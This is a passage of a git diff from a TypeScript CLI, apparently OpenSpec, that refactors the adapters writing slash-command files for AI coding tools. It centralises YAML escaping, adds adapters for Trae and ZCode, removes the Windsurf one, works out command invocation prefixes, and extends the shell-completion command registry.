@@ export const opencodeAdapter: ToolCommandAdapter = { }, formatFile(content: CommandContent): string { - // Transform command references from colon to hyphen format for OpenCode - const transformedBody = transformToHyphenCommands(content.body); - return `--- -description: ${content.description} +description: ${escapeYamlValue(content.description)} --- -${transformedBody} +${content.body} `; }, }; diff --git a/src/core/command-generation/adapters/pi.ts b/src/core/command-generation/adapters/pi.ts index fa11d9d8ec..03cd43f0d3 100644 --- a/src/core/command-generation/adapters/pi.ts +++ b/src/core/command-generation/adapters/pi.ts @@ -7,7 +7,7 @@ import path from 'path'; import type { CommandContent, ToolCommandAdapter } from '../types.js'; -import { transformToHyphenCommands } from '../../../utils/command-references.js'; +import { escapeYamlValue } from '../yaml.js'; const PI_INPUT_HEADING = /^\*\*Input\*\*:[^\n]*$/m; @@ -22,29 +22,14 @@ function injectPiArgs(body: string): string { ); } -/** - * Escapes a string value for safe YAML output. - * Quotes the string if it contains special YAML characters. - */ -function escapeYamlValue(value: string): string { - // Check if value needs quoting (contains special YAML characters or starts/ends with whitespace) - const needsQuoting = /[:\n\r#{}[\],&*!|>'"%@`]|^\s|\s$/.test(value); - if (needsQuoting) { - // Use double quotes and escape internal double quotes and backslashes - const escaped = value.replace(/\\/g, '\\\\').replace(/"/g, '\\"').replace(/\n/g, '\\n'); - return `"${escaped}"`; - } - return value; -} - /** * Pi adapter for prompt template generation. * File path: .pi/prompts/opsx-<id>.md * Frontmatter: description * * Pi uses the filename (minus .md) as the slash command name, so - * opsx-propose.md → /opsx-propose. Command references in the body - * are transformed from /opsx: to /opsx- for consistency. + * opsx-propose.md → /opsx-propose. generateCommand rewrites the body's + * command references to that form before this adapter formats it. */ export const piAdapter: ToolCommandAdapter = { toolId: 'pi', @@ -54,14 +39,11 @@ export const piAdapter: ToolCommandAdapter = { }, formatFile(content: CommandContent): string { - // Transform /opsx: references to /opsx- and inject $@ for template args - const transformedBody = transformToHyphenCommands(content.body); - return `--- description: ${escapeYamlValue(content.description)} --- -${injectPiArgs(transformedBody)} +${injectPiArgs(content.body)} `; }, }; diff --git a/src/core/command-generation/adapters/qoder.ts b/src/core/command-generation/adapters/qoder.ts index 608fc9ae25..9fa78f9e3d 100644 --- a/src/core/command-generation/adapters/qoder.ts +++ b/src/core/command-generation/adapters/qoder.ts @@ -6,6 +6,7 @@ import path from 'path'; import type { CommandContent, ToolCommandAdapter } from '../types.js'; +import { escapeYamlValue, formatTagsArray } from '../yaml.js'; /** * Qoder adapter for command generation. @@ -20,12 +21,11 @@ export const qoderAdapter: ToolCommandAdapter = { }, formatFile(content: CommandContent): string { - const tagsStr = content.tags.join(', '); return `--- -name: ${content.name} -description: ${content.description} -category: ${content.category} -tags: [${tagsStr}] +name: ${escapeYamlValue(content.name)} +description: ${escapeYamlValue(content.description)} +category: ${escapeYamlValue(content.category)} +tags: ${formatTagsArray(content.tags)} --- ${content.body} diff --git a/src/core/command-generation/adapters/qwen.ts b/src/core/command-generation/adapters/qwen.ts index 0ee640b3cf..c24ccbf880 100644 --- a/src/core/command-generation/adapters/qwen.ts +++ b/src/core/command-generation/adapters/qwen.ts @@ -1,30 +1,35 @@ /** * Qwen Code Command Adapter * - * Formats commands for Qwen Code following its TOML specification. + * Formats commands for Qwen Code following its Markdown custom command + * specification. Qwen Code has deprecated TOML commands in favor of + * Markdown files with YAML frontmatter. + * + * @see https://qwenlm.github.io/qwen-code-docs/en/users/features/commands/#markdown-file-format-specification-recommended */ import path from 'path'; import type { CommandContent, ToolCommandAdapter } from '../types.js'; +import { escapeYamlValue } from '../yaml.js'; /** * Qwen adapter for command generation. - * File path: .qwen/commands/opsx-<id>.toml - * Format: TOML with description and prompt fields + * File path: .qwen/commands/opsx-<id>.md + * Format: Markdown with description frontmatter */ export const qwenAdapter: ToolCommandAdapter = { toolId: 'qwen', getFilePath(commandId: string): string { - return path.join('.qwen', 'commands', `opsx-${commandId}.toml`); + return path.join('.qwen', 'commands', `opsx-${commandId}.md`); }, formatFile(content: CommandContent): string { - return `description = "${content.description}" + return `--- +description: ${escapeYamlValue(content.description)} +--- -prompt = """ ${content.body} -""" `; }, }; diff --git a/src/core/command-generation/adapters/roocode.ts b/src/core/command-generation/adapters/roocode.ts index 529298578c..d131b14769 100644 --- a/src/core/command-generation/adapters/roocode.ts +++ b/src/core/command-generation/adapters/roocode.ts @@ -1,15 +1,15 @@ /** - * RooCode Command Adapter + * Zoo Code Command Adapter * - * Formats commands for RooCode following its workflow specification. - * RooCode uses markdown headers instead of YAML frontmatter. + * Formats commands for Zoo Code following its workflow specification. + * Zoo Code uses markdown headers instead of YAML frontmatter. */ import path from 'path'; import type { CommandContent, ToolCommandAdapter } from '../types.js'; /** - * RooCode adapter for command generation. + * Zoo Code adapter for command generation. * File path: .roo/commands/opsx-<id>.md * Format: Markdown header with description */ diff --git a/src/core/command-generation/adapters/trae.ts b/src/core/command-generation/adapters/trae.ts new file mode 100644 index 0000000000..3052961582 --- /dev/null +++ b/src/core/command-generation/adapters/trae.ts @@ -0,0 +1,32 @@ +/** + * Trae Command Adapter + * + * Formats commands for Trae IDE following its command specification. + */ + +import path from 'path'; +import type { CommandContent, ToolCommandAdapter } from '../types.js'; +import { escapeYamlValue } from '../yaml.js'; + +/** + * Trae adapter for command generation. + * File path: .trae/commands/opsx-<id>.md + * Frontmatter: name, description + */ +export const traeAdapter: ToolCommandAdapter = { + toolId: 'trae', + + getFilePath(commandId: string): string { + return path.join('.trae', 'commands', `opsx-${commandId}.md`); + }, + + formatFile(content: CommandContent): string { + return `--- +name: ${escapeYamlValue(content.name)} +description: ${escapeYamlValue(content.description)} +--- + +${content.body} +`; + }, +}; diff --git a/src/core/command-generation/adapters/windsurf.ts b/src/core/command-generation/adapters/windsurf.ts deleted file mode 100644 index 59c86d8e08..0000000000 --- a/src/core/command-generation/adapters/windsurf.ts +++ /dev/null @@ -1,57 +0,0 @@ -/** - * Windsurf Command Adapter - * - * Formats commands for Windsurf following its frontmatter specification. - * Windsurf uses a similar format to Claude but may have different conventions. - */ - -import path from 'path'; -import type { CommandContent, ToolCommandAdapter } from '../types.js'; - -/** - * Escapes a string value for safe YAML output. - * Quotes the string if it contains special YAML characters. - */ -function escapeYamlValue(value: string): string { - // Check if value needs quoting (contains special YAML characters or starts/ends with whitespace) - const needsQuoting = /[:\n\r#{}[\],&*!|>'"%@`]|^\s|\s$/.test(value); - if (needsQuoting) { - // Use double quotes and escape internal double quotes and backslashes - const escaped = value.replace(/\\/g, '\\\\').replace(/"/g, '\\"').replace(/\n/g, '\\n'); - return `"${escaped}"`; - } - return value; -} - -/** - * Formats a tags array as a YAML array with proper escaping. - */ -function formatTagsArray(tags: string[]): string { - const escapedTags = tags.map((tag) => escapeYamlValue(tag)); - return `[${escapedTags.join(', ')}]`; -} - -/** - * Windsurf adapter for command generation. - * File path: .windsurf/workflows/opsx-<id>.md - * Frontmatter: name, description, category, tags - */ -export const windsurfAdapter: ToolCommandAdapter = { - toolId: 'windsurf', - - getFilePath(commandId: string): string { - return path.join('.windsurf', 'workflows', `opsx-${commandId}.md`); - }, - - formatFile(content: CommandContent): string { - return `--- -name: ${escapeYamlValue(content.name)} -description: ${escapeYamlValue(content.description)} -category: ${escapeYamlValue(content.category)} -tags: ${formatTagsArray(content.tags)} ---- - -${content.body} -`; - }, -}; diff --git a/src/core/command-generation/adapters/zcode.ts b/src/core/command-generation/adapters/zcode.ts new file mode 100644 index 0000000000..0121debba0 --- /dev/null +++ b/src/core/command-generation/adapters/zcode.ts @@ -0,0 +1,37 @@ +/** + * ZCode Command Adapter + * + * Formats commands for ZCode following its frontmatter specification. + * ZCode shares Claude Code's command format conventions. + * File path: .zcode/commands/opsx/<id>.md + * Frontmatter: name, description, category, tags + */ + +import path from 'path'; +import type { CommandContent, ToolCommandAdapter } from '../types.js'; +import { escapeYamlValue, formatTagsArray } from '../yaml.js'; + +/** + * ZCode adapter for command generation. + * File path: .zcode/commands/opsx/<id>.md + * Frontmatter: name, description, category, tags + */ +export const zcodeAdapter: ToolCommandAdapter = { + toolId: 'zcode', + + getFilePath(commandId: string): string { + return path.join('.zcode', 'commands', 'opsx', `${commandId}.md`); + }, + + formatFile(content: CommandContent): string { + return `--- +name: ${escapeYamlValue(content.name)} +description: ${escapeYamlValue(content.description)} +category: ${escapeYamlValue(content.category)} +tags: ${formatTagsArray(content.tags)} +--- + +${content.body} +`; + }, +}; diff --git a/src/core/command-generation/generator.ts b/src/core/command-generation/generator.ts index e8f22c054e..ec445085a4 100644 --- a/src/core/command-generation/generator.ts +++ b/src/core/command-generation/generator.ts @@ -5,9 +5,19 @@ */ import type { CommandContent, ToolCommandAdapter, GeneratedCommand } from './types.js'; +import { getInvocationForAdapter, needsInvocationRewrite } from './invocation.js'; +import { transformCommandInvocations } from '../../utils/command-references.js'; /** * Generate a single command file using the provided adapter. + * + * Command bodies are authored with `/opsx:<id>` references. Tools whose command + * files are invoked by filename register `/opsx-<id>` instead, and Amazon Q + * surfaces them in its prompt library as `@opsx-<id>`, so the body is rewritten + * to the form that tool answers to before the adapter formats it. Doing it here + * rather than per adapter keeps every tool in step (#727, #1307); adapters stay + * pure formatters. + * * @param content - The tool-agnostic command content * @param adapter - The tool-specific adapter * @returns Generated command with path and file content @@ -16,9 +26,14 @@ export function generateCommand( content: CommandContent, adapter: ToolCommandAdapter ): GeneratedCommand { + const invocation = getInvocationForAdapter(adapter); + const formatted = needsInvocationRewrite(invocation) + ? { ...content, body: transformCommandInvocations(content.body, invocation) } + : content; + return { path: adapter.getFilePath(content.id), - fileContent: adapter.formatFile(content), + fileContent: adapter.formatFile(formatted), }; } diff --git a/src/core/command-generation/index.ts b/src/core/command-generation/index.ts index a067f33b20..47c05cd1bb 100644 --- a/src/core/command-generation/index.ts +++ b/src/core/command-generation/index.ts @@ -30,4 +30,4 @@ export { CommandAdapterRegistry } from './registry.js'; export { generateCommand, generateCommands } from './generator.js'; // Adapters (for direct access if needed) -export { claudeAdapter, cursorAdapter, windsurfAdapter } from './adapters/index.js'; +export { claudeAdapter, cursorAdapter, devinAdapter } from './adapters/index.js'; diff --git a/src/core/command-generation/invocation.ts b/src/core/command-generation/invocation.ts new file mode 100644 index 0000000000..ccd67478c9 --- /dev/null +++ b/src/core/command-generation/invocation.ts @@ -0,0 +1,100 @@ +/** + * Command Invocation + * + * How a tool spells an OpenSpec command has two parts, and only one of them + * can be read off the file the adapter writes: + * + * - The *name* comes from the file. `.../commands/opsx/<id>.md` is namespaced + * by its directory, so the tool registers `opsx:<id>` (Claude Code, Gemini, + * Crush, ...). `.../commands/opsx-<id>.md` names the command with the + * filename, so the tool registers `opsx-<id>` (Cursor, GitHub Copilot, + * OpenCode, ...). + * - The *prefix* is the tool's own and cannot be derived. Almost every tool + * uses `/`; Amazon Q loads these files into its prompt library, which is + * invoked with `@` (`@opsx-propose`), so its adapter declares that prefix. + * + * Deriving the name from `getFilePath` keeps generated cross-references and + * onboarding hints in step with the files OpenSpec actually writes. A + * hand-maintained list drifted before: only OpenCode was rewritten when the + * hyphen form was introduced (#727), and Cursor still advertised `/opsx:` + * commands its palette never registered (#1307). Carrying the prefix as + * adapter metadata rather than inferring it keeps the one tool that does not + * use a slash from being advertised as if it did. + */ + +import path from 'path'; +import type { ToolCommandAdapter } from './types.js'; + +export type CommandInvocationStyle = 'namespaced' | 'flat'; + +/** + * Everything needed to spell one of a tool's OpenSpec commands. + */ +export interface CommandInvocation { + /** How the command file names the command. */ + style: CommandInvocationStyle; + /** What the user types before the name, e.g. `/` or Amazon Q's `@`. */ + prefix: string; +} + +/** The form these docs, command bodies, and skill templates are authored in. */ +export const CANONICAL_INVOCATION: CommandInvocation = { style: 'namespaced', prefix: '/' }; + +/** + * Classifies a generated command file by the name the tool will answer to. + * + * The test is the filename, not the directory: an `opsx-` prefix means the + * filename is the command. Every other shape is treated as namespaced, which + * is what all seven `opsx/<id>.*` adapters need. An adapter that neither + * prefixes the filename nor nests under `opsx/` would land here too — none + * does, and the registry-wide test in invocation.test.ts fails if one appears. + * + * @param commandFilePath - Path returned by an adapter's `getFilePath` + * @returns 'flat' when the filename carries the `opsx-` prefix, otherwise + * 'namespaced' + */ +export function getInvocationStyleForPath(commandFilePath: string): CommandInvocationStyle { + return path.basename(commandFilePath).startsWith('opsx-') ? 'flat' : 'namespaced'; +} + +/** + * Resolves how a tool's generated commands are invoked: the name from the + * files its adapter writes, the prefix from the adapter's own declaration. + * + * @param adapter - The tool-specific command adapter + * @returns The invocation shared by every command that adapter generates + */ +export function getInvocationForAdapter(adapter: ToolCommandAdapter): CommandInvocation { + return { + // Any command id works: every adapter applies one naming rule to all of them. + style: getInvocationStyleForPath(adapter.getFilePath('explore')), + prefix: adapter.invocationPrefix ?? CANONICAL_INVOCATION.prefix, + }; +} + +/** + * Spells one command the way the tool registers it. + * + * @param invocation - The tool's invocation, from getInvocationForAdapter() + * @param commandId - The command identifier (e.g. 'apply') + * @returns What the user types, e.g. `/opsx:apply`, `/opsx-apply`, `@opsx-apply` + */ +export function formatCommandInvocation( + invocation: CommandInvocation, + commandId: string +): string { + const separator = invocation.style === 'namespaced' ? ':' : '-'; + return `${invocation.prefix}opsx${separator}${commandId}`; +} + +/** + * Whether a tool's invocation differs from the canonical `/opsx:<id>` that + * command bodies and skill templates are authored in — that is, whether + * generated text has to be rewritten for that tool at all. + */ +export function needsInvocationRewrite(invocation: CommandInvocation): boolean { + return ( + invocation.style !== CANONICAL_INVOCATION.style || + invocation.prefix !== CANONICAL_INVOCATION.prefix + ); +} diff --git a/src/core/command-generation/registry.ts b/src/core/command-generation/registry.ts index 3b726d707d..14e5481814 100644 --- a/src/core/command-generation/registry.ts +++ b/src/core/command-generation/registry.ts @@ -12,7 +12,7 @@ import { auggieAdapter } from './adapters/auggie.js'; import { bobAdapter } from './adapters/bob.js'; import { claudeAdapter } from './adapters/claude.js'; import { clineAdapter } from './adapters/cline.js'; -import { codexAdapter } from './adapters/codex.js'; +import { devinAdapter } from './adapters/devin.js'; import { codebuddyAdapter } from './adapters/codebuddy.js'; import { continueAdapter } from './adapters/continue.js'; import { costrictAdapter } from './adapters/costrict.js'; @@ -25,13 +25,15 @@ import { iflowAdapter } from './adapters/iflow.js'; import { junieAdapter } from './adapters/junie.js'; import { kilocodeAdapter } from './adapters/kilocode.js'; import { kiroAdapter } from './adapters/kiro.js'; +import { ohMyPiAdapter } from './adapters/oh-my-pi.js'; import { opencodeAdapter } from './adapters/opencode.js'; import { piAdapter } from './adapters/pi.js'; import { qoderAdapter } from './adapters/qoder.js'; import { lingmaAdapter } from './adapters/lingma.js'; import { qwenAdapter } from './adapters/qwen.js'; import { roocodeAdapter } from './adapters/roocode.js'; -import { windsurfAdapter } from './adapters/windsurf.js'; +import { traeAdapter } from './adapters/trae.js'; +import { zcodeAdapter } from './adapters/zcode.js'; /** * Registry for looking up tool command adapters. @@ -47,7 +49,7 @@ export class CommandAdapterRegistry { CommandAdapterRegistry.register(bobAdapter); CommandAdapterRegistry.register(claudeAdapter); CommandAdapterRegistry.register(clineAdapter); - CommandAdapterRegistry.register(codexAdapter); + CommandAdapterRegistry.register(devinAdapter); CommandAdapterRegistry.register(codebuddyAdapter); CommandAdapterRegistry.register(continueAdapter); CommandAdapterRegistry.register(costrictAdapter); @@ -60,13 +62,15 @@ export class CommandAdapterRegistry { CommandAdapterRegistry.register(junieAdapter); CommandAdapterRegistry.register(kilocodeAdapter); CommandAdapterRegistry.register(kiroAdapter); + CommandAdapterRegistry.register(ohMyPiAdapter); CommandAdapterRegistry.register(opencodeAdapter); CommandAdapterRegistry.register(piAdapter); CommandAdapterRegistry.register(qoderAdapter); CommandAdapterRegistry.register(lingmaAdapter); CommandAdapterRegistry.register(qwenAdapter); CommandAdapterRegistry.register(roocodeAdapter); - CommandAdapterRegistry.register(windsurfAdapter); + CommandAdapterRegistry.register(traeAdapter); + CommandAdapterRegistry.register(zcodeAdapter); } /** diff --git a/src/core/command-generation/types.ts b/src/core/command-generation/types.ts index 582d8c784f..c0b1f5e104 100644 --- a/src/core/command-generation/types.ts +++ b/src/core/command-generation/types.ts @@ -36,9 +36,16 @@ export interface ToolCommandAdapter { * Returns the file path for a command. * @param commandId - The command identifier (e.g., 'explore') * @returns Path from project root (e.g., '.claude/commands/opsx/explore.md'). - * May be absolute for tools with global-scoped prompts (e.g., Codex). + * May be absolute for tools with global-scoped command files. */ getFilePath(commandId: string): string; + /** + * What the user types before the command name, when it is not the default + * `/`. Amazon Q loads these files into its prompt library, which is invoked + * with `@` (`@opsx-propose`), so its adapter sets '@'. The name itself is + * still derived from getFilePath — see invocation.ts. + */ + invocationPrefix?: string; /** * Formats the complete file content including frontmatter. * @param content - The tool-agnostic command content @@ -51,7 +58,7 @@ export interface ToolCommandAdapter { * Result of generating a command file. */ export interface GeneratedCommand { - /** File path from project root, or absolute for global-scoped tools */ + /** File path from project root, or absolute for global-scoped command files */ path: string; /** Complete file content (frontmatter + body) */ fileContent: string; diff --git a/src/core/command-generation/yaml.ts b/src/core/command-generation/yaml.ts new file mode 100644 index 0000000000..766faa993d --- /dev/null +++ b/src/core/command-generation/yaml.ts @@ -0,0 +1,52 @@ +/** + * Shared YAML frontmatter helpers for command adapters. + * + * Several tool adapters emit YAML frontmatter and need to escape + * user-facing strings (name, description, category, tags) so the + * generated file stays valid YAML. This module centralizes that logic + * so the behavior is identical across adapters and fixed in one place. + */ + +/** + * Escapes a string value for safe YAML output. + * + * Always emits a double-quoted scalar. Quoting unconditionally keeps the + * value a string no matter what it holds: an unquoted `true`, `null` or + * `123` would round-trip as a boolean, null or number, and an unquoted + * value opening with a block indicator (`|`, `>`) or containing `: ` + * is not valid YAML at all. + * + * Inside the quotes it escapes everything that cannot appear verbatim in a + * double-quoted scalar: backslash, double quote, line feed, carriage + * return, and the non-printable characters YAML's `c-printable` production + * excludes (C0 controls, DEL and C1 controls). Lenient parsers accept a raw + * control byte, but strict ones reject the document outright, so escaping + * them here keeps the generated file portable across every tool's parser. + * + * @param value - The raw string to embed in YAML frontmatter. + * @returns The value as an escaped, double-quoted YAML scalar. + */ +export function escapeYamlValue(value: string): string { + const escaped = value + .replace(/\\/g, '\\\\') + .replace(/"/g, '\\"') + .replace(/\n/g, '\\n') + .replace(/\r/g, '\\r') + // Remaining non-printables have no dedicated escape; emit them as \xHH. + .replace( + /[\x00-\x08\x0b\x0c\x0e-\x1f\x7f-\x9f]/g, + (char) => `\\x${char.charCodeAt(0).toString(16).padStart(2, '0')}` + ); + return `"${escaped}"`; +} + +/** + * Formats a tags array as a YAML array with proper escaping. + * + * @param tags - Array of tag strings. + * @returns Formatted YAML array string, e.g. '[tag1, tag2]'. + */ +export function formatTagsArray(tags: string[]): string { + const escapedTags = tags.map((tag) => escapeYamlValue(tag)); + return `[${escapedTags.join(', ')}]`; +} diff --git a/src/core/command-surface.ts b/src/core/command-surface.ts new file mode 100644 index 0000000000..4162e92532 --- /dev/null +++ b/src/core/command-surface.ts @@ -0,0 +1,43 @@ +import { CommandAdapterRegistry } from './command-generation/index.js'; +import { getInvocationForAdapter, type CommandInvocation } from './command-generation/invocation.js'; +import type { Delivery } from './global-config.js'; + +export type CommandSurfaceCapability = 'adapter-backed' | 'skills-invocable' | 'none'; + +/** + * How the tool spells its OpenSpec commands: the name from the command files + * its adapter writes, the prefix the adapter declares. Returns undefined for + * tools with no command adapter, which have no command names to spell. + */ +export function resolveCommandInvocation(toolId: string): CommandInvocation | undefined { + const adapter = CommandAdapterRegistry.get(toolId); + return adapter ? getInvocationForAdapter(adapter) : undefined; +} + +export function resolveCommandSurfaceCapability(toolId: string): CommandSurfaceCapability { + if (CommandAdapterRegistry.has(toolId)) { + return 'adapter-backed'; + } + + if (toolId === 'codex') { + return 'skills-invocable'; + } + + return 'none'; +} + +export function shouldGenerateSkillsForTool(toolId: string, delivery: Delivery): boolean { + return delivery !== 'commands' || resolveCommandSurfaceCapability(toolId) === 'skills-invocable'; +} + +export function shouldRemoveSkillsForTool(toolId: string, delivery: Delivery): boolean { + return delivery === 'commands' && resolveCommandSurfaceCapability(toolId) !== 'skills-invocable'; +} + +export function shouldGenerateCommandsForTool(toolId: string, delivery: Delivery): boolean { + return delivery !== 'skills' && resolveCommandSurfaceCapability(toolId) === 'adapter-backed'; +} + +export function shouldReconcileCommandFilesForTool(toolId: string, delivery: Delivery): boolean { + return delivery === 'skills' && resolveCommandSurfaceCapability(toolId) === 'adapter-backed'; +} diff --git a/src/core/completions/command-registry.ts b/src/core/completions/command-registry.ts index 09c9ecc8db..2d139b3043 100644 --- a/src/core/completions/command-registry.ts +++ b/src/core/completions/command-registry.ts @@ -1,49 +1,40 @@ -import { CommandDefinition, FlagDefinition } from './types.js'; - -/** - * Common flags used across multiple commands - */ -const COMMON_FLAGS = { - json: { - name: 'json', - description: 'Output as JSON', - } as FlagDefinition, - jsonValidation: { - name: 'json', - description: 'Output validation results as JSON', - } as FlagDefinition, - strict: { - name: 'strict', - description: 'Enable strict validation mode', - } as FlagDefinition, - noInteractive: { - name: 'no-interactive', - description: 'Disable interactive prompts', - } as FlagDefinition, - type: { - name: 'type', - description: 'Specify item type when ambiguous', - takesValue: true, - values: ['change', 'spec'], - } as FlagDefinition, -} as const; - -/** - * Registry of all OpenSpec CLI commands with their flags and metadata. - * This registry is used to generate shell completion scripts. - */ +import { COMMON_FLAGS } from './shared-flags.js'; +import type { CommandDefinition } from './types.js'; export const COMMAND_REGISTRY: CommandDefinition[] = [ { name: 'init', description: 'Initialize OpenSpec in your project', acceptsPositional: true, positionalType: 'path', + positionals: [{ name: 'path', type: 'path', optional: true }], flags: [ { name: 'tools', description: 'Configure AI tools non-interactively (e.g., "all", "none", or comma-separated tool IDs)', takesValue: true, }, + { + name: 'force', + description: 'Auto-cleanup legacy files without prompting', + }, + { + name: 'profile', + description: 'Override global config profile (core or custom)', + takesValue: true, + values: ['core', 'custom'], + }, + { + name: 'no-animation', + description: 'Show a static welcome screen instead of the animated one', + }, + { + name: 'copilot-cloud', + description: 'Generate GitHub Copilot cloud coding-agent files (opt-in; default: prompt)', + }, + { + name: 'no-copilot-cloud', + description: 'Skip generating GitHub Copilot cloud coding-agent files', + }, ], }, { @@ -51,7 +42,13 @@ export const COMMAND_REGISTRY: CommandDefinition[] = [ description: 'Update OpenSpec instruction files', acceptsPositional: true, positionalType: 'path', - flags: [], + positionals: [{ name: 'path', type: 'path', optional: true }], + flags: [ + { + name: 'force', + description: 'Force update even when tools are up to date', + }, + ], }, { name: 'list', @@ -65,18 +62,29 @@ export const COMMAND_REGISTRY: CommandDefinition[] = [ name: 'changes', description: 'List changes explicitly (default)', }, + { + name: 'sort', + description: 'Sort order: "recent" (default) or "name"', + takesValue: true, + values: ['recent', 'name'], + }, + COMMON_FLAGS.json, + COMMON_FLAGS.store, ], }, { name: 'view', description: 'Display an interactive dashboard of specs and changes', - flags: [], + flags: [ + COMMON_FLAGS.store, + ], }, { name: 'validate', description: 'Validate changes and specs', acceptsPositional: true, positionalType: 'change-or-spec-id', + positionals: [{ name: 'item-name', type: 'change-or-spec-id', optional: true }], flags: [ { name: 'all', @@ -99,6 +107,7 @@ export const COMMAND_REGISTRY: CommandDefinition[] = [ takesValue: true, }, COMMON_FLAGS.noInteractive, + COMMON_FLAGS.store, ], }, { @@ -106,6 +115,7 @@ export const COMMAND_REGISTRY: CommandDefinition[] = [ description: 'Show a change or spec', acceptsPositional: true, positionalType: 'change-or-spec-id', + positionals: [{ name: 'item-name', type: 'change-or-spec-id', optional: true }], flags: [ COMMON_FLAGS.json, COMMON_FLAGS.type, @@ -132,6 +142,7 @@ export const COMMAND_REGISTRY: CommandDefinition[] = [ description: 'Show specific requirement by ID (JSON only, spec-specific)', takesValue: true, }, + COMMON_FLAGS.store, ], }, { @@ -139,6 +150,7 @@ export const COMMAND_REGISTRY: CommandDefinition[] = [ description: 'Archive a completed change and update main specs', acceptsPositional: true, positionalType: 'change-id', + positionals: [{ name: 'change-name', type: 'change-id', optional: true }], flags: [ { name: 'yes', @@ -153,12 +165,294 @@ export const COMMAND_REGISTRY: CommandDefinition[] = [ name: 'no-validate', description: 'Skip validation (not recommended)', }, + { + name: 'json', + description: 'Output as JSON (non-interactive)', + }, + COMMON_FLAGS.store, + ], + }, + { + name: 'status', + description: 'Display artifact completion status for a change', + flags: [ + { + name: 'change', + description: 'Change name to show status for', + takesValue: true, + }, + { + name: 'schema', + description: 'Schema override', + takesValue: true, + }, + COMMON_FLAGS.json, + COMMON_FLAGS.store, + ], + }, + { + name: 'instructions', + description: 'Output enriched instructions for artifacts, apply, or archive', + acceptsPositional: true, + positionals: [{ name: 'artifact', optional: true }], + flags: [ + { + name: 'change', + description: 'Change name', + takesValue: true, + }, + { + name: 'schema', + description: 'Schema override', + takesValue: true, + }, + COMMON_FLAGS.json, + COMMON_FLAGS.store, + ], + }, + { + name: 'templates', + description: 'Show resolved template paths for all artifacts in a schema', + flags: [ + { + name: 'schema', + description: 'Schema to use', + takesValue: true, + }, + COMMON_FLAGS.json, + ], + }, + { + name: 'schemas', + description: 'List available workflow schemas with descriptions', + flags: [ + COMMON_FLAGS.json, + ], + }, + { + name: 'new', + description: 'Create new items', + flags: [], + subcommands: [ + { + name: 'change', + description: 'Create a new change directory', + acceptsPositional: true, + positionals: [{ name: 'name' }], + flags: [ + { + name: 'description', + description: 'Description to add to README.md', + takesValue: true, + }, + { + name: 'goal', + description: 'Optional goal metadata to store with the change', + takesValue: true, + }, + { + name: 'schema', + description: 'Workflow schema to use', + takesValue: true, + }, + COMMON_FLAGS.json, + COMMON_FLAGS.store, + ], + }, + ], + }, + { + name: 'store', + description: + 'Create and manage stores - standalone OpenSpec repos you register on this machine', + flags: [], + subcommands: [ + { + name: 'setup', + description: 'Create or register a local store', + acceptsPositional: true, + positionals: [{ name: 'id', optional: true }], + flags: [ + { + name: 'path', + description: 'Directory to use for the store', + takesValue: true, + }, + { + name: 'init-git', + description: 'Initialize a Git repository in the store', + }, + { + name: 'no-init-git', + description: 'Skip Git repository initialization', + }, + { + name: 'remote', + description: 'Canonical clone source recorded in store.yaml', + takesValue: true, + }, + COMMON_FLAGS.json, + ], + }, + { + name: 'register', + description: 'Register an existing store directory', + acceptsPositional: true, + positionals: [{ name: 'path', type: 'path', optional: true }], + flags: [ + { + name: 'id', + description: 'Store id', + takesValue: true, + }, + { + name: 'yes', + description: 'Confirm creating store identity metadata', + }, + COMMON_FLAGS.json, + ], + }, + { + name: 'unregister', + description: 'Forget a local store registration without deleting files', + acceptsPositional: true, + positionals: [{ name: 'id' }], + flags: [ + COMMON_FLAGS.json, + ], + }, + { + name: 'remove', + description: 'Forget a local store registration and delete its local folder', + acceptsPositional: true, + positionals: [{ name: 'id' }], + flags: [ + { + name: 'yes', + description: 'Confirm local store folder deletion', + }, + COMMON_FLAGS.json, + ], + }, + { + name: 'list', + description: 'List registered stores', + flags: [ + COMMON_FLAGS.json, + ], + }, + { + name: 'ls', + description: 'List registered stores', + flags: [ + COMMON_FLAGS.json, + ], + }, + { + name: 'doctor', + description: 'Check local store registration and metadata', + acceptsPositional: true, + positionals: [{ name: 'id', optional: true }], + flags: [ + COMMON_FLAGS.json, + ], + }, + ], + }, + { + name: 'context', + description: 'Print the working context for the resolved OpenSpec root', + flags: [ + COMMON_FLAGS.json, + COMMON_FLAGS.store, + { + name: 'code-workspace', + description: 'Also write a VS Code workspace file for the set', + takesValue: true, + }, + { + name: 'force', + description: 'Overwrite an existing --code-workspace file', + }, + ], + }, + { + name: 'doctor', + description: 'Report relationship health for the resolved OpenSpec root', + flags: [ + COMMON_FLAGS.json, + COMMON_FLAGS.store, + ], + }, + { + name: 'workset', + description: 'Compose, keep, and open personal working views (purely local)', + flags: [], + subcommands: [ + { + name: 'create', + description: 'Compose and save a named working view of folders you choose', + acceptsPositional: true, + positionals: [{ name: 'name', optional: true }], + flags: [ + { + name: 'member', + description: + 'Member folder as <path> or <name>=<path>; repeatable, first is the primary', + takesValue: true, + }, + { + name: 'tool', + description: 'Preferred tool to open this workset with', + takesValue: true, + }, + COMMON_FLAGS.json, + ], + }, + { + name: 'list', + description: 'Show saved worksets with their members', + flags: [COMMON_FLAGS.json], + }, + { + name: 'ls', + description: 'Show saved worksets with their members', + flags: [COMMON_FLAGS.json], + }, + { + name: 'open', + description: + 'Open a saved workset in your tool (editor window or agent session)', + acceptsPositional: true, + positionals: [{ name: 'name' }], + flags: [ + { + name: 'tool', + description: 'Open with this tool just this once', + takesValue: true, + }, + ], + }, + { + name: 'remove', + description: 'Delete a saved workset (member folders are never touched)', + acceptsPositional: true, + positionals: [{ name: 'name' }], + flags: [ + { + name: 'yes', + description: 'Confirm removal non-interactively', + }, + COMMON_FLAGS.json, + ], + }, ], }, { name: 'feedback', description: 'Submit feedback about OpenSpec', acceptsPositional: true, + positionals: [{ name: 'message' }], flags: [ { name: 'body', @@ -177,6 +471,7 @@ export const COMMAND_REGISTRY: CommandDefinition[] = [ description: 'Show a change proposal', acceptsPositional: true, positionalType: 'change-id', + positionals: [{ name: 'change-name', type: 'change-id', optional: true }], flags: [ COMMON_FLAGS.json, { @@ -206,6 +501,7 @@ export const COMMAND_REGISTRY: CommandDefinition[] = [ description: 'Validate a change proposal', acceptsPositional: true, positionalType: 'change-id', + positionals: [{ name: 'change-name', type: 'change-id', optional: true }], flags: [ COMMON_FLAGS.strict, COMMON_FLAGS.jsonValidation, @@ -224,6 +520,7 @@ export const COMMAND_REGISTRY: CommandDefinition[] = [ description: 'Show a specification', acceptsPositional: true, positionalType: 'spec-id', + positionals: [{ name: 'spec-id', type: 'spec-id', optional: true }], flags: [ COMMON_FLAGS.json, { @@ -259,6 +556,7 @@ export const 